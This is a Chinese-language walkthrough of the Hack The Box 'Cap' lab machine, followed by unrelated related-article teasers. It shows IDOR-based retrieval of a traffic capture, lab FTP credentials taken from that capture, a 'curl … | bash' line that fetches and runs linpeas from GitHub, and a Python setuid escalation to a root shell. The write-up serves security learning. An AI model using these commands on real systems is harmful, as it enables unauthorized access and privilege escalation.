Hack The Box-Cap靶机

news/2025/3/30 5:16:52/文章来源:https://www.cnblogs.com/GuijiH6/p/18793627

该靶机通过信息收集拿到大致信息,利用IDOR访问控制缺陷漏洞获得目标流量包,通过流量分析获取到ftp流量包存在用户名密码,可以ftp登录/ssh登录拿到第一个flag,利用linpeas.sh内网收集工具得到python存在UID提权漏洞,查看ctfobins提权,在/root下发现第二个flag

靶机信息

一、信息收集

执行nmap扫描

nmap -sV -sC -O -T4

开启了21,22,80端口

尝试一下ftp匿名连接,失败

访问80页面

查看该面板,有一个下载

下载查看是一个流量包文件,分析一下没有可用信息

查看ipconfig面板,是ip信息

查看网络状态信息

在都没有得到可用信息时,在第二个面板下载的时候发现url存在参数

二、Web渗透

IDOR-访问控制缺陷漏洞

把下载参数修改为0,发现可以访问下载

分析流量包,发现ftp包存在流量信息,拿到用户名密码

记录下来

# user:nathan
# passwd:Buck3tH4TF0RM3!

ftp登录

发现一个user.txtget下载下来查看,发现第一个flag

这里也可用利用上面的账户密码使用ssh登录,因为在访问web服务时,nothan用户是存在的,即可用利用到ssh

三、提权

查看密码,有bash权限的只有root和nathan,看来还是从该用户入手

因为有了密码,查看可利用命令,无

suid查看一下,没有可以利用的

linpeas.sh-内网自动化信息收集工具

下载地址

https://github.com/peass-ng/PEASS-ng/releases/tag/20250320-91fb36a0

开启web服务,用于上传

靶机使用wget命令下载

赋予权限然后执行

也可以直接从github下载执行

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

最后在此处拿到信息,使用的时候多注意颜色突出的部分,是漏洞利用点

ctfbbins上搜索提权方法

调用python3执行,成功提权

在根目录的root目录下发现flag

成功完成

四、总结

知识点

  • IDOR-访问控制漏洞:
  • linpeas.sh: 一款内网linux的自动化信息收集工具,还有windows版本的
  • python提权: 二进制漏洞利用UID

python提权命令解析

  • python3
    执行当前目录下的Python解释器(而非系统默认路径的Python)。
  • -c
    直接执行后续字符串中的Python代码。
  • os.setuid(0)
    尝试将进程的有效用户ID(EUID)设为0(即root用户)。
  • os.system("/bin/sh")
    启动一个shell(若上一步成功,此shell将具有root权限)。

任务1-4

任务5-8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/906138.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

安装使用抓包神器:Whistle

来到查看抓包请求的页面,可见显示十分的全面还能显示树状图,根据域名进行区分,功能十分强大!安装步骤1.安装Node 因为Whistle是基于Node实现的跨平台web调试代理工具,所以我们需要先去安装Node环境 Node.js (nodejs.org) 直接下载即可2.安装Whistle Node安装成功后,执行如…

PCIe 四种地址空间介绍

PCIe架构定义了4种地址空间:配置空间、Memory空间、IO空间和message空间。1. 配置空间 每个PCIe Function都有4KB的配置空间(Configuration Space)。前256 Bytes是和PCI兼容的配置空间,剩余的是PCIe扩展配置空间(Extended Configuration Space)。 PCIe配置空间如下图所示,地…

DeepSeek 0324版本 前端代码编写能力实测

deepseek发布了一个小版本的更新。这次web端的代码编写能力增强了。来看下我用最新的deepseekv3-0324版本生成的两个前端html程序。 第一个是公司年会自动抽奖程序。 第二个是7天 天气预报的卡片。 先看第一个程序的提示词: “帮我生成一个自动抽奖的html程序,输入人员名单后…

SpringSecurity5(12-Csrf防护)

Spring Security的CSRF防护机制通过生成唯一的令牌来防止跨站请求伪造攻击。每次用户提交表单时,系统会自动验证该令牌是否与服务器端一致,若不匹配则拒绝请求。该功能默认启用,有助于保障应用的安全性,避免恶意请求劫持用户会话。工作原理 从 Spring Security 4.x 开始,默…

相机模型

本文从经典的针孔相机模型开始,推导出相机的几何模型。这个模型描述了如何把三维场景中的坐标转换到二维图像上。只有理解了这个模型,我们才有可能从二维的图像反向推测三维世界,也就能够实现三维重建的过程。 参考资料: 计算机视觉 鲁鹏 清晰完整合集 小孔成像原理 针孔模…

zerotier搭建虚拟局域网,自建planet

基于该开源项目 自建planet节点,更快速,更安全本教程依据docker-zerotier-planet 项目文档书写,并以linux(centos 7)和windows作为示例。 一. 前置资源1、具有外网ip的服务器 后面简称 服务端 2、服务端已安装docker,git 3、系统为常见linux系统 4、多个内网设备,如个人笔…

17.1K star!两小时就能训练出专属于自己的个性化小模型,这个开源项目让AI触手可及!

🔥「只需一张消费级显卡,2小时完成26M参数GPT训练!」 🌟「从零构建中文大模型的最佳实践指南」 🚀「兼容OpenAI API,轻松接入各类AI应用平台」🔥「只需一张消费级显卡,2小时完成26M参数GPT训练!」🌟「从零构建中文大模型的最佳实践指南」🚀「兼容OpenAI API,…

17.1K star!两小时就能训练出专属与自己的个性化小模型,这个开源项目让AI触手可及!

🔥「只需一张消费级显卡,2小时完成26M参数GPT训练!」 🌟「从零构建中文大模型的最佳实践指南」 🚀「兼容OpenAI API,轻松接入各类AI应用平台」🔥「只需一张消费级显卡,2小时完成26M参数GPT训练!」🌟「从零构建中文大模型的最佳实践指南」🚀「兼容OpenAI API,…

Android 外部启动activity,自定义action,action常量大全

从任意app,启动另外一个app的activity: 1. Intent i = new Intent(); ComponentName cn = new ComponentName("com.book.android2", "com.book.android2.AndroidSearch"); i.setComponent(cn); i.setAction("android.intent.action.MAIN");…

CTF Re刷题汇总

前言: 不得不说,随着时间的推移,CTF也越来越卷了,当初的新生赛都是些xor upx 迷宫之类的,现在的新生赛连vm都上去了,所以真的是新生们在做题吗? 1.[2019UNCTF] easyvm 第一次做vm题,啥也不会,翻阅了好几篇wp才清楚一点吧...分析一下:有个关键函数sub_400C1E,然后判断…

为什么我们在 AI 对齐上没有变得更好?

作者:Vishal Rajput 前言: 本文作者以一种极具人文关怀的视角,从 AI 的发展历程切入,逐层揭示出当下技术狂奔背后隐藏的伦理隐患、社会裂痕与意义危机。他大胆质疑权力精英在 AI 发展中的动机,也对超级智能可能带来的“文明结构性瓦解”发出警告。这不是一篇介绍模型原理的…